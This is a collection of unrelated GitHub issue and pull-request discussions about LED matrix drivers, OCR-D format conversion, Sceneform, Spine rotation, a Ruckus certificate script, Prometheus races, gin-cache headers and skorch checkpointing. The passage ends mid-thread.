Need help with 1/8 scan P5 64x32 outdoor RGB LED matrix

I have found a demo code for ESP32 and that works very well for indoor P5 - 64x32 display(1/16 scan), but the same code does not work for outdoor P5- 64x32- 1/8Scan display.  I have attached the entire code with all the libraries files.
If anyone has worked with outdoor 1/8s display, please help.
SimpleTestShapes.zip

Hello, I am facing with the same issue.
I have P5 OUTDOOR Panel 64x32 1/8 - Chips on it SM16208 and RUL5158. Supplier sent this also:

I am wondering that these panel can be used with this library?
I tested Four_Scan_Panel example without any change and it shows this:

and test with 1_Simple_Test_Shapes without any change shows:

I think with some guidance it is possible to make it work. Am I right?
Any help will be appreciated.

@sagarsapkota1
Please find all types of chips on the rear side of the panel and list it types here.

I could see SM5166PF and DP5125D. The LED package is 1921. The PCB has P5-1921-64*32-8S-S2 .

The good news that your panel uses a standard type LED driver and multiplexor. So the only thing that you need to start using the panel is to develop a pixel mapping.
Read the #622 discussion and see an examples, mentioned in it.

I am just a beginner using ESP32 and RGB matrix displays, I am totally confused with lots of things. I am one of those users who just uses the library and ask chatgpt to code :) . I have no idea about library, cpp file and .h file. Can you please download the zip file I have attached and tell me which file should I play with? Is it .h file or .cpp file ? I am using chatgpt to understand the codes. Today I made changes in ESP32-HUB75-MatrixPanel-I2S-DMA.h file. In this part,  clk_speed _i2sspeed = HZ_10M,
uint8_t _latblk  = 1, // Anything > 1 seems to cause artefacts on ICS panels
bool _clockphase = true,
uint8_t _min_refresh_rate = 85 . I changed to HZ_20M and the display has slightly improved. The fonts are now appearing in their actual size and I can read something. Please tell me which file should I work on and what are the next steps ? There are several files and I am confused where to try the codes. The library file and the example code for 1/8scan does not work. And there is one more thing I have noticed. In this section of the ESP32-HUB75-MatrixPanel-leddrivers.cpp file, void MatrixPanel_I2S_DMA::shiftDriver(const HUB75_I2S_CFG& _cfg){
switch (_cfg.driver){
case HUB75_I2S_CFG::ICN2038S:
case HUB75_I2S_CFG::FM6124:
case HUB75_I2S_CFG::FM6126A:
I noticed that there are drivers like FM6124,FM6126A, etc. and in my case the driver is SM5166PF. So, do you mean that for this specific driver SM5166PF I have to do pixel mapping ? My expectation is that I have to make some changes in one of the .cpp or .h files and that change will work for all the *.ino codes. I want to know which section of the cpp or .h file is that which file I should work on ? The improved display image has been attached.

in my case the driver is SM5166PF.

It is not a driver, it is a line switcher (multiplexor) chip. The driver on your panel is DP5125. This driver doesn't requires any specific settings to work.

My expectation is that I have to make some changes in one of the .cpp or .h files and that change will work for all the *.ino codes.

yes, it is true. The file that you need to edit is src/ESP32-VirtualMatrixPanel-I2S-DMA.h. The way of the changes is described in #622. I am not able to explain in more detail what you should fix in the file, since you do not know C++ and I do not know English well.


ocrd-fileformat-transform does not add an ALTO Processing tag

I believe it would be helpful if the ocrd-fileformat-transform PAGE → ALTO transformation would add a <Processing> tag. I looked into to the file to figure out if https://github.com/kba/page-to-alto was used for the conversion and did not find a processing tag for the conversion, just for segmentation/binarization/OCR.

Can you provide an example of PAGE input and how you'd like to see it converted. page-to-alto should convert processing metadata, cf. https://github.com/kba/page-to-alto/blob/master/ocrd_page_to_alto/convert.py#L248-L265

Yes it does convert the processing metadata correctly, but does not add itself as a processing step - which would have been helpful as I was investigating whether page-to-alto was used for the conversion using ocrd-fileformat-transform. Here is an example, this was converted using ocrd-fileformat-transform:
    <Processing ID="ocrd-eynollah-segment-0">
      <processingStepDescription>layout/segmentation/region</processingStepDescription>
      <processingStepSettings>{"models": "/data/default", "dpi": "0", "full_layout": "True", "curved_line": "False", "allow_scaling": "False", "headers_off": "False"}</processingStepSettings>
      <processingSoftware>
        <softwareName>ocrd-eynollah-segment</softwareName>
      </processingSoftware>
    </Processing>
    <Processing ID="ocrd-sbb-binarize-1">
      <processingStepDescription>preprocessing/optimization/binarization</processingStepDescription>
      <processingStepSettings>{"model": "/data/sbb_binarization/models", "operation_level": "page"}</processingStepSettings>
      <processingSoftware>
        <softwareName>ocrd-sbb-binarize</softwareName>
      </processingSoftware>
    </Processing>
    <Processing ID="ocrd-tesserocr-recognize-2">
      <processingStepDescription>layout/segmentation/region</processingStepDescription>
      <processingStepSettings>{"model": "deu", "dpi": "0", "padding": "0", "segmentation_level": "word", "textequiv_level": "word", "overwrite_segments": "False", "overwrite_text": "True", "shrink_polygons": "False", "block_polygons": "False", "find_tables": "True", "sparse_text": "False", "raw_lines": "False", "char_whitelist": "", "char_blacklist": "", "char_unblacklist": "", "tesseract_parameters": "{}", "xpath_parameters": "{}", "xpath_model": "{}", "auto_model": "False", "oem": "DEFAULT"}</processingStepSettings>
      <processingSoftware>
        <softwareName>ocrd-tesserocr-recognize</softwareName>
      </processingSoftware>
    </Processing>

Full PAGE + ALTO:
example.zip

What I would expect is an additional processing step like this (entirely made up):
~~

conversion
{"backend": "page-to-alto"}

ocrd-fileformat-transform

I know this is extra work but it's very useful to answer the question of how a file was created exactly.

Gotcha, yes this makes sense, at least for the OCR-D processor interface.

I would argue that it also makes sense for page-to-alto alone, as this conversion is a big processing step.

I would argue that it also makes sense for page-to-alto alone, as this conversion is a big processing step.

I'd argue to the contrary, that page-to-alto's job (despite being nontrivial) is to do exactly as it is told, not add provenance or other traces. It will be most versatile that way. Then in ocrd-fileformat-transform, we can fully inform about the processor and its options. (While in other use cases, we might want to hide the conversion.)

But then again, doing this from page-to-alto or ocr-fileformat/script/transform/page__alto is much easier than from ocrd_fileformat. In the latter case, one would have to

check the target format
in the case of PAGE-XML, add a /pc:PcGts/pc:Metadata/pc:MetadataItem (as in ocrd-olena-binarize)
in the case of ALTO-XML >= 4, add a /alto/Description/Processing (as outlined above)
in the case of ALTO-XML < 4, add a /alto/Description/OCRProcessing/postProcessingStep (in an analogous way)
in the case of hOCR...?

These editing commands should by done by a true XML editor, like xmlstarlet. That would have to be added to the system dependencies.
Perhaps one should even offer a parameter to make this postprocessing/annotation optional.

I would argue that it also makes sense for page-to-alto alone, as this conversion is a big processing step.

I'd argue to the contrary, that page-to-alto's job (despite being nontrivial) is to do exactly as it is told, not add provenance or other traces. It will be most versatile that way.

It does processing, so why should it not add processing info? I think it's not correct to omit it.

It could be implemented as an option: no processing info by default (= current behaviour) or add processing info if option was given.


RenderableSource apply custom material

Hi,
since SceneForm 1.5 we got the option to import gltf models at runtime.
Is there a possibility to apply custom material reference to the renderable source?
As i can see you can manipulate only the scale and the recenter mode attributes.

Maybe this issue can help you.

Sounds like a feature that needs to be added.
However, you can work around this issue if you download gltf on your phone , convert it to sfb with a standard material definition , and then do as above. Assign a custom material definition and maps that are used. Not the best way, but it should work.

Hallo @c0deminded
thanks for the response. But as far as I know there is no option to add (not modify) a new custom material at runtime. Or am I blind?

@c0deminded Forget everything I said. Are you f!%&"§& kidding me? I overlooked the setMaterial method.


[Spine-TS] Rotation property doesn't work

Just like the alpha property. Rotation on the group containing the spine object, or applying to the child spine object, or to a spine object directly doesn't work.

This seems to work. Might need further testing though since the positioning problem's still there.

Yeah The thing I noticed that the current setup ALWAYS rotates around the rootbone. Which isn't inherently bad, but the same discussion we had with regards to the position applies here imho, asin; also allow rotation not based on rootbone but on anchor

I tested this again with the latest build and I noticed that the rotation property on the group container uses Spine's rotation and not Phaser's. You might want to make it Phaser's rotation (or give the option to use either one). If your spine animation has bones that don't inherit rotation and/or scale, this will look weird.

Yeah, I thought my animations suddenly became broken! Good thing I remembered this works in a different way. The rotation on the old phaser-spine's good, maybe the option to rotate the spine object as a Sprite (like in the old phaser-spine) and as a root bone (like now) is good.

Rotation seems to work on WebGL the way it does with Canvas. Since the scaling is a problem, I can't tell if it's being weird.


cleanup: remove unused overwrite variable

Turns out this flag is still used in some use cases, so for the time being I'll close this PR.


hey～do you know how to deploy？I fail to npm run build. the files in dist is lost some!

You have to provide an API key. Create an API key named GEMINI_API_KEY and put the value when deploying, and you are good to go.


Remove large vector allocations

Addresses #137.
This PR addresses the cloning/allocation of large vectors used in the intermediary steps of each Nova prove_step computation. In particular, we focus on NIFS::prove, which allocates new vectors to compute the fold step, when technically we could be reusing and overwriting the already allocated vectors from the previous step. Concretely, we add the functions NIFS::prove_mut and R1CSRelaxedWitness/Instance::prove_mut. We also add a ResourceSink with preallocated buffers for ABC_Z{1,2} and Ts to help as stratch memory for the commit_T_into operation.

@huitseeker The allocating methods are still required by SuperNova, and I wanted to avoid a spill-over into changing SuperNova. My plan was to wait once this is merged in, then open the same set of PRs for SuperNova, and everything should be cleaned up.


As a business I want a dev environment so we aren't pushing straight to production

Set up DO dev app
Set up GitHub actions CI/ID

@xiangzhe0812 @brettvniekerk to add more details

@TomDodson https://uat.idem.com.au/


Rukus SSL script doesnt seem to work anymore

I'm guessing a latest Rukus update broke the curl commands to upload the certificate. This is the error i am getting.
<!DOCTYPE html>
<title>Moved Temporarily</title>

Moved Temporarily

The document has moved here.

<address>Embedthis-Appweb/3.4.2 at https:443 Port 443</address>

Yes, you're right.
The admin pages have moved from admin to admin10 now.
Just updating the admin url doesn't seem to be enough though, so I'll need to do some debugging I guess.
Are you using a Zone Director or Unleashed?

Unleashed R500's
Thanks for looking into this.

Ok. Can you confirm your unleashed version? Are you on <IP_ADDRESS>.121?

yes, <IP_ADDRESS>.121

OK, so the bad news (for you) is that the script still works fine pushing a certificate from my pfSense 2.5.0 box to a freshly setup R500 running Unleashed <IP_ADDRESS>.121.
Are you trying to get this working on pfSense? Or are you trying to get this working on something else (say a Linux box)?
I ask because I initially 'developed' the script on Linux, but then I had to tweak the script somewhat to get it working on BSD.

Running this command from Diagnostics > Command Prompt on pfSense:-
/usr/local/bin/export_zd_cert.sh xxxmydomainxxx.com unleashed.xxxmydomainxxx.com
I get this output:-
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   343  100   302  100    41   2475    336 --:--:-- --:--:-- --:--:--  2811
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 87  2613    0     0  100  2274      0   2678 --:--:-- --:--:-- --:--:--  2678
100  2613  100   339  100  2274    398   2675 --:--:-- --:--:-- --:--:--  3070

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  2506  100   387  100  2119    730   3998 --:--:-- --:--:-- --:--:--  4728

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   347  100   149  100   198    493    655 --:--:-- --:--:-- --:--:--  1149
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ajax-response><ajax-response><response type="object" id="rid.0.36674838786340014" /></ajax-response>
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 53   319    0     0  100   171      0   2442 --:--:-- --:--:-- --:--:--  2408
100   319  100   148  100   171   2084   2408 --:--:-- --:--:-- --:--:--  4492
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ajax-response><ajax-response><response type="object" id="rid.0.4001861168896834" /></ajax-response>

And after the R500 has rebooted itself, it's using the certificate.

OK.
If I don't update the script's ZD_USERNAME and ZD_PASSWORD variables with my unleashed's username and password then I get your error. Make sure you've edited the script's first 2 lines to have your own unleashed username and password.

I am running it from a Debian 10 (Buster) box and its been working fine for years. I get a wildcard from Lets Encrypt and deploy it to all my servers from that Debian box.  I decided to setup the script again and it worked! After that i compared the 2 and i must have changed one of the lines when i was debugging and it obviously broke it,  Thanks for all the help.


Upstream sdn 601

- What this PR does and why is it needed

- Special notes for reviewers

- How to verify it

- Description for the changelog

Pull Request Test Coverage Report for Build 401200778

868 of 1665 (52.13%)  changed or added relevant lines in 42 files are covered.
67 unchanged lines in 16 files lost coverage.
Overall coverage increased (+0.4%) to 55.648%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

go-controller/hybrid-overlay/pkg/controller/node.go
0
1
0.0%

go-controller/hybrid-overlay/pkg/controller/node_linux.go
7
8
87.5%

go-controller/pkg/node/management-port.go
7
8
87.5%

go-controller/pkg/node/management-port_linux.go
1
2
50.0%

go-controller/pkg/cni/helper_linux.go
0
2
0.0%

go-controller/pkg/node/node.go
0
2
0.0%

go-controller/pkg/kube/kube.go
0
3
0.0%

go-controller/pkg/node/gateway_init.go
0
3
0.0%

go-controller/pkg/ovn/gress_policy.go
2
5
40.0%

go-controller/pkg/ovn/logical_switch_manager.go
4
7
57.14%

Files with Coverage Reduction
New Missed Lines
%

go-controller/pkg/cni/cni.go
1
2.1%

go-controller/pkg/cni/helper_linux.go
1
43.42%

go-controller/pkg/cni/ovs.go
1
52.05%

go-controller/pkg/ovn/egressgw.go
1
48.3%

go-controller/pkg/util/util.go
1
85.23%

go-controller/pkg/node/gateway_iptables.go
2
62.09%

go-controller/pkg/ovn/endpoints.go
2
50.27%

go-controller/pkg/ovn/master.go
2
19.15%

go-controller/pkg/ovn/service.go
2
37.0%

go-controller/pkg/node/gateway_shared_intf.go
3
26.39%

Totals

Change from base Build 344412198:
0.4%

Covered Lines:
8981

Relevant Lines:
16139

💛  - Coveralls


pwm: nRF default prescalar value is wrong

Describe the bug
A value of 1 for the data->prescalar causes the frequency to be half of desired frequency. I've confirmed this using an oscilloscope. The correct value for data->prescalar should be 0U.
To Reproduce

Modify samples/basic/fade_led/src/main.c to set a PWM cycle value to something <= 32767. For example:

pwm_pin_set_cycles(pwm_dev, PWM_CHANNEL, 29088, 29088 / 2); // 550 Hz

build with board nrf52840_pca10056
flash and observe actual frequency of LED is half of expected value

Expected behavior
A PWM value of desired frequency (not halved).
Impact
nRF PWM driver is not usable at certain frequencies.
Screenshots or console output
Oscilloscope screenshot with default data->prescalar set to 1U:

Oscilloscope screenshot with default data->prescalar set to 0U:

Environment (please complete the following information):

OS: MacOS
Toolchain: GNU Arm Embedded Toolchain (prebuilt version 7-2018-q2-update)
Commit SHA or Version used: v1.14.0

@doceme Thanks for reporting this.
Obviously, when there is no need to divide the PWM clock, (i.e. the requested period cycles fit into the 15-bit PWM counter), the prescaler value should be 0, not 1. I'll provide a PR that fixes this.

Thanks @anangl. I was going to make a PR, but got busy.


add hedera

Add Hedera by creating a Hedera Client and using the mirror node to get blocks in order to calculate transactions per second.
fixes #46

Looks great, thanks! @a-ridley


Races/3994

fixes #3994

@brian-brazil , @grobie PTAL

I am 80% sure it is ok , so if @brian-brazil gives another 20% reassurance I think we are good to go :)

Both reload and ApplyConfig can change scrapepools concurrently, which is racey.

I see what you mean
I tested the config reload once per second (watch -n 1 killall -1 prometheus) while scraping 50 targets and no races were detected.
These were only static targets so will try with some other more dynamic SD and lets see what the race detector has to say.

@brian-brazil are you waiting for more changes from @krasi-georgiev ? Just asking because there has been 3 days of inactivity, and this issue is critical. Remember that there is still no sane release to roll forward to from 2.0.0.

I didn't see a notification that additional changes were made, I'll try to review them today.

Cool. Thanks.

Can I ask that renaming of exported functions be mentioned in commit messages and/or PR descriptions?
(Targets->TargetsActive)

All these functions are internal, I don't think it's practical to list every time we change the name or semantics of an non-public API which isn't covered by our stability guarantees. Part of depending on non-public APIs is accepting that it's your responsibility to keep up with any changes to those internals.

I have no problem with the responsibility of keeping up with changes; what I'd like to know is the intention behind those changes.
This particular one looks meaningless, but I have to guess.

When reviewing this PR my interpretation was that this was a natural change
to the internal API given the underlying changes in the data flow.
I'm generally against frivolous changes, partially because I know we have
people depending on our internals.
If you do see a PR that is making changes needlessly beyond its scope,
please feel free to chime in. The more eyes we have on PRs and code health
the better.
On Fri, 8 Jun 2018, 17:47 Bryan Boreham<EMAIL_ADDRESS>wrote:

I have no problem with the responsibility of keeping up with changes; what
I'd like to know is the intention behind those changes.
This particular one looks meaningless, but I have to guess.
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/prometheus/prometheus/pull/4005#issuecomment-395819703,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AGyTdp81TSmE21hE89HLik8_BBXnTyQWks5t6qqMgaJpZM4S56VE
.


Cache without cookie

At the moment the cached content is also saved with Cookie/Session information witch is not ideal.
Is there a setting/option to cache only page content without headers or cookie info?
I want to go from this..
;�� ResponseCache��StatusHeader��Data ��Header���������T����Content-Typeapplication/json; charset=utf-8 Set-Cookie�mysession=MTY3MTI5MTE2MXxOd3dBTkZCSFZFRlhVVTVDU1VkVVZVSkxTemMxVUVVMFRsaEtWMHhLVUZreVRrZEpTMFZIUVVOVVFVZFFOa2xNVFRSVFdGUkxOa0U9fN2Qa-r2Lgq8UVXWfYlU6PsWZv3uCDHNVI-EB7xfS3ld; Path=/; Expires=Sat, 17 Dec 2022 16:32:41 GMT; Max-Age=3600; Secure; SameSite=Strict{"count":10}
to this
{"count":10}

I push a new commit https://github.com/chenyahui/gin-cache/commit/7f8c3e5fd735bb6da275ee4a6b5c68127816318f , Does this meet your needs?

@chenyahui Yes thank you very much, it looks much better now.
I use the following code:
router.GET("/", cache.CacheByRequestPath(redisStore, 10*time.Second, cache.WithoutHeader()), getAlbums)
This is the result:
;��
ResponseCache��StatusHeader��Data
��Header������������{"count":9}

So no cookie/session information stored anymore.
Thanks, much appreciated.

Can you push a new version with this commit?

Done. https://github.com/chenyahui/gin-cache/releases/tag/v1.8.0


Add a trace.server configuration property

Add a configuration property configurable in VSCode settings to view verbose language server communication mesasges.
A good reference package.json in vscode-xml.

You need to choose a proper server name, see https://code.visualstudio.com/api/language-extensions/language-server-extension-guide#logging-support-for-language-server


Problmes about VIC image driver

Hi everyone
When I tried to run the VIC image driver following the instruction, these errors showed up. What should I do with them? Thanks
Tengyu

I think this is a storage issue. this happens to me when i have a limitted storage to run the model.


Implement constraint duals

Currently this is an error:
julia> using UnitJuMP, HiGHS

julia> model = Model(HiGHS.Optimizer);

julia> @variable(model, x, u"m/s")
x m s⁻¹

julia> c = @constraint(model, x >= 1.2u"m/s")
x ≥ 1.2 [m s⁻¹]

julia> @objective(model, Min, 2 * x + 1u"m/s")
2 x + 1 [m s⁻¹]

julia> optimize!(model)
Presolving model
0 rows, 0 cols, 0 nonzeros
0 rows, 0 cols, 0 nonzeros
Presolve : Reductions: rows 0(-1); columns 0(-1); elements 0(-1) - Reduced to empty
Solving the original LP from the solution after postsolve
Model   status      : Optimal
Objective value     :  3.4000000000e+00
HiGHS run time      :          0.00

julia> dual(c)
ERROR: MethodError: no method matching dual(::UnitJuMP.UnitConstraintRef{Unitful.FreeUnits{(m, s⁻¹), 𝐋 𝐓⁻¹, nothing}})
Closest candidates are:
  dual(::VariableRef) at /Users/oscar/.julia/packages/JuMP/0C6kd/src/variables.jl:1283
  dual(::NonlinearConstraintRef{Shape} where Shape<:AbstractShape) at /Users/oscar/.julia/packages/JuMP/0C6kd/src/nlp.jl:211
  dual(::ConstraintRef{var"#s90", var"#s89", Shape} where {var"#s90"<:AbstractModel, var"#s89"<:(MathOptInterface.ConstraintIndex), Shape<:AbstractShape}; result) at /Users/oscar/.julia/packages/JuMP/0C6kd/src/constraints.jl:922
Stacktrace:
 [1] top-level scope
   @ REPL[71]:1

One issue is that it isn't immediately obvious what units to make the duals. If we used the economic interpretation, then it would be [objective units / constraint units]

Since the objective units are not easily available from the model under the current design, it would be hard to use these for the dual function. An alternative is to use the units of the variable/constraint with an indication to show it is the dual value, e.g. with an asterix: [m/s]*

Hmm. Perhaps if we can't get the objective units then 1 / constraint units. Then if you multiply it by the objective units you'll get the right thing.


[ISystem] add the ability to extend html types

Is your feature request related to a problem? Please describe.
Extending a type of React.HTMLAttributes<HTMLInputElement> leads to conflicting props right now.
Describe the solution you'd like
you can extract
extends ISystem,
    Omit<Omit<React.HTMLAttributes<HTMLInputElement>, 'color'>, 'css'>

into its own interface that can be used like
extends ISystem<HTMLInputElement>

To do that we need to find all conflicting props and test if this interface works with all components
Describe alternatives you've considered
always use the Omit helper which gives more flexibility but gets annoying quickly

Might be best if we add a pre-commit hook with a test script to check for conflicting props and then add them to the interface if needed ?
Or would you prefer some kind of catch all solution that doesn't require any additional effort once there?

no, just use it in parfum.nl and see if there are any other conflicts besides color and css


Details about GPUs

Hi,
I'm curious about the details about GPU model you utilized for training during your research.
Thx.

Hi,
I'm curious about the details about GPU model you utilized for training during your research.
Thx.

two 2080ti


turning off text pixel-snapping

As I understand it, nanovg's font rendering snaps in order to improve anti-aliasing.
In my app, the user can zoom in and out, so the text jumps around as it snaps. So I get fairly frequent feedback from users, who think this is a bug.
Since retina screens have such good resolution, I'd rather just turn off the snapping, but there doesn't seem to be API to do so.
Where in nanovg (or fontstash) does the pixel snapping occur and how can I disable it?
thanks!

This would be a useful feature, I use the app mentioned above and the text snapping is very notable and causes all sorts of little artifacts, even sometimes causing the lines to wrap at a different word at odd/even intervals so you wind up with the text jiggling all over the place when you do otherwise very smooth two finger pinch zooms

Yes, this would be a good feature to have. I don't currently have time to implement it, but I can walk you help you out to make a PR for it.
The first thing to to would be to just remove the rounding. It is done here:
https://github.com/memononen/nanovg/blob/master/src/fontstash.h#L1134
https://github.com/memononen/nanovg/blob/master/src/fontstash.h#L1147
It could be controlled by something like this:
void fonsSetPixelSnap(FONScontext* s, int state);

And in nanovg:
void nvgTextPixelSnap(NVGcontext* ctx, int state);

This will lead to blurry text most of the time. In oder to solve that we could improve the font stash to include 2x2 oversampling as per: https://github.com/nothings/stb/tree/master/tests/oversample
I think that would be a better default too than pixel snapping.


manufacturerIdentifier is obsolete

It turned out that the manufacturerIdentifier attribute is very rarely containing any reasonable information.
As it is redundant with the manufacturerName attribute, it should be deleted from the EquipmentAugment modelling.

Potential Proposal to the LF ONMI x-haul call on ?th of ? 2024:
The manufacturerIdentifier attribute turned out to be not really helpful for uniquely identifying the equipment.

It shall be deleted from

both tables in §31 (section ActualEquipment in chpt. 9 of the TransmitterEquipment Spec.)
both tables in §32 (section ExpectedEquipment in chpt. 9 of the TransmitterEquipment Spec.)

The text "Might be left blank, if manufacturerIdentifier is filled." shall be deleted from the 2nd table (ODUs and Chassis) in §31 (section ActualEquipment in chpt. 9 of the TransmitterEquipment Spec.)

Has been updated in Equipment_3.0.0-tsi.240515.1100+spec.1.doc


[MRG] Adds optimizer and history to save/load_params

Fixes #357, #361

Adds optimizer and history to save_params and load_params. Deprecates using f.
Adds the optimizer option to Checkpoint.
Deprecates save_history and load_history in favor of save_params and load_params to save history. This simplifies the skorch api to only needing save_params and load_params to save/load state.
Deprecates using the positional argument in favor of keywords.
Adds history serialization (in the History class)
Adds loading params from checkpoint. net.load_params(checkpoint=cp)
Adds LoadInitState to load checkpoint during training.
Adds fn_prefix and dirname to Checkpoint.

This PR can merge easily with #358 by replacing _get_state_dict with the implementation in #358 and returning the state dict.

Just FYI, I'm looking at this but am somewhat busy.

What if we provide an (optional) common path prefix option in Checkpoint constructor?

I believe if we did this, it should be consistent across all methods (i.e. also load/save_params). Just to get a perspective on this, is this a common pattern, can you name other libs that do something similar?

ignite Checkpoint object uses a common prefix with a dirname in their parameters: https://github.com/pytorch/ignite/blob/83fe17dd513a4f0ed7fe1cfea6ea00541557465b/ignite/handlers/checkpoint.py#L7
The common path prefix option would add some complexity for better ergonomics:
## Option 1: no common prefix
net.save_params(f_params="run1_model.pkl",
                f_optimizer="run1_opt.pkl", f_training="run1_training.json")

## Option 2: common prefix
net.save_params(f_params="model.pkl", f_optimizer="opt.pkl",
                f_training="training.json", common_prefix="run1")

I tend to like option 1: no common prefix, since there is less "magic".

The thing with "magic" is that I'm okay with it as long as it's intuitive and straightforward. That can often be derived be asking whether that pattern is common or not, which is why I asked for other libraries. ignite is relevant because it covers similar ground as skorch, but it is a rather niche library (as is skorch). If this pattern was used in a more mainstream library (say pytorch, sklearn, pandas), that would be a strong argument IMO.

Keras does not run into this issue, since it only saves the model parameters. sklearn uses pickle to save the the whole model. Tensorboard saves many files into the folder. Tensorflow uses a SavedModel that saves many files into a directory. (Tensorflow has many appraoches to saving models.)
If we are okay with common_prefix, we can provide a pretty good api for starting and stopping a training session:
f_names = {"f_params": "model.pkl", "f_optimizer": "opt.pkl", "f_history": "history.json"}

best_checkpoint = Checkpoint(common_prefix="exp1", **f_names)

latest_checkpoint = Checkpoint(common_prefix="exp1_latest",
                               monitor=None, load_init_state=True, **f_names)

net = NeuralNet(..., callbacks = [best_checkpoint, latest_checkpoint])

This adds load_init_state to Checkpoint which will load the parameters optimizer and history in initialize. This api could be even simpler by having default values for f_optimizer and f_history so they are checkpointed by default. This means the user would only need to supply common_prefix to run a new experiment:
best_checkpoint = Checkpoint(common_prefix="exp2")

latest_checkpoint = Checkpoint(common_prefix="exp2_latest",
                               monitor=None, load_init_state=True)

net = NeuralNet(..., callbacks = [best_checkpoint, latest_checkpoint])

I am unsure if NeuralNet.load_params and NeuralNet.save_params should have the concept of filename_prefix. Currently, in this PR, the API is pretty simple:
def load_params(
    self, f_params=None, f_optimizer=None, f_history=None, f=None):
    ....

def save_params(
    self, f_params=None, f_optimizer=None, f_history=None, f=None):
    ....

Adding filename_prefix would complicate this API. I think only Checkpoint should have a filename_prefix parameter. Additionally, if we have default values for f_optimizer and f_history, and add load_saved_state to Checkpoint, a user would not need to call load_params or save_params anymore:
cp = Checkpoint(filename_prefix="experiment1", load_saved_state=True, monitor=None)
net = NeuralNet(..., callback=[cp])
net.fit(X, y)

Checkpoint will load the saved state if it exists. After training, the user can run:
cp = Checkpoint(filename_prefix="experiment1", load_saved_state=True, monitor=None)
net = NeuralNet(..., callback=[cp]).initialize()
net.predict(X)

The call to initialize will trigger load_saved_state with the default values of f_* prefixed with filename_prefix. This Checkpoint feature can be done in another PR.
If we agree on the API of NeuralNet.load_params and NeuralNet.save_params, I think this PR is ready for review/merge. I would prefer not to add more to this PR making it harder to review.

If we are okay with filename_prefix, we can provide a pretty good api for starting and stopping a training session ... This api could be even simpler by having default values for f_optimizer and f_history

That is a pretty good argument.

I am unsure if NeuralNet.load_params and NeuralNet.save_params should have the concept of filename_prefix ... I think only Checkpoint should have a filename_prefix parameter.

Could you explain why the same API would not work as well for load/save_params? I would really prefer to have the same API for this and Checkpoint, with as little code duplication as possible.

Checkpoint will load the saved state if it exists.

I'm not convinced that we should have Checkpoint do the saving and loading of models, in my mind this is going at it the wrong way.

Something else that came to my mind: Should we gracefully intercept possible JSON encoding errors when saving history? Say I have a very long running model and start if overnight with a Checkpoint. When history is saved by default but I accidentally put a numpy structure into history, I come back the next day only to find that model training has stopped. Of course it would be "my fault" but at the same time very inconvenient (and as of now the error would not occur since history is not saved by default).

Could you explain why the same API would not work as well for load/save_params? I would really prefer to have the same API for this and Checkpoint, with as little code duplication as possible.

My major concern has to do with the default values and how Checkpoint has its own custom filename formatting. I think the default values for the f_* arguments in load/save_params should be None. This way the user could save and load specific parts of the state. Additionally, I think load/save_params should not handle any custom formatting (including prefixes). I was imaging the API to Checkpoint and load_params to look like:
cb = Checkpoint(fn_prefix="exp2", monitor=None)
net = NeuralNet(..., callbacks=[cb])
net.fit(X, y)

# load and continue training
net = NeuralNet(..., callbacks=[cb]).initialize()
net.load_params(f_params=cb.f_params_, f_optimizer=cb.f_optimizer_, f_history=cb.f_history_)
net.fit(X, y)

where load_params uses the formatted values of f_* to load the parameters. The formatted values would include the fn_prefix and other custom formatting. This way Checkpoint manages all the filenames.

I'm not convinced that we should have Checkpoint do the saving and loading of models, in my mind this is going at it the wrong way.

I agree. Maybe a LoadInitState callback would be better to load models. This way the api would look like:
cb = Checkpoint(fn_prefix="exp2", monitor=None)
load_init_state = LoadInitState(checkpoint=cb)
net = NeuralNet(..., callbacks=[cb, load_init_state])
net.fit(X, y)

A user can run this over and over again, and training will continue where it left off. Like my previous example, Checkpoint handles all filenames, internally LoadInitState will use cb.f_*_, to get the filenames to load during initialize.

Should we gracefully intercept possible JSON encoding errors when saving history?

I agree. load/save_params should still raise the exception and Checkpoint will have to catch it. Then Checkpoint can print the error to sink, and save everything else that can be saved. This would lead to a saved model and optimizer without the correct history, but it is better than nothing.

Okay, I think I largely agree with the above. The only thing that I would like to discuss is whether we need  this:
net.load_params(f_params=cb.f_params_, f_optimizer=cb.f_optimizer_, f_history=cb.f_history_)
Instead it would be nice if we could just have:
net.load_params(cb)
Maybe a little bit surprising but certainly a time saver. LoadInitState would then just call this code.

I agree that net.load_params with all those keywords does not look nice. Another way to make it nicer is:
net.load_params(**cb.formatted_files)

where formatted_files is a dictionary with the formatted file names.

With the addition of LoadInitState the api looks like this:
cp = Checkpoint(monitor='valid_loss_best')
load_state = LoadInitState(cp)
net = NeuralNet(..., callbacks=[cp, load_state])
net.fit(X, y)

The above example can run multiple times, and will always start off from where the last checkpoint. In this case, the checkpoint happens when valid_loss_best is true. This means if max_epoch=10 and the valid_loss_best happens at epoch 5, the second run will start at epoch 5 and continue for another 10 epochs.
If a user wants to save at the end of every checkpoint:
lastest_cp = Checkpoint(monitor=None)
load_state = LoadInitState(cp)
net = NeuralNet(..., callbacks=[latest_cp, load_state])
net.fit(X, y)

Repeated runs of this will continue training from where the previous run left off.
If a user wants to use their checkpoint to make a prediction:
lastest_cp = Checkpoint(monitor=None)
net = NeuralNet(..., callbacks=[latest_cp, load_state]).initialize()
net.load_params(checkpoint=lastest_cp)
net.predict(X)

All of the above works for filenames with that uses net, last_epoch and last_batch. This was done by having net.load_params load the history first before consulting checkpoint for the filenames.

With the addition of FinalCheckpoint, it is possible to do this:
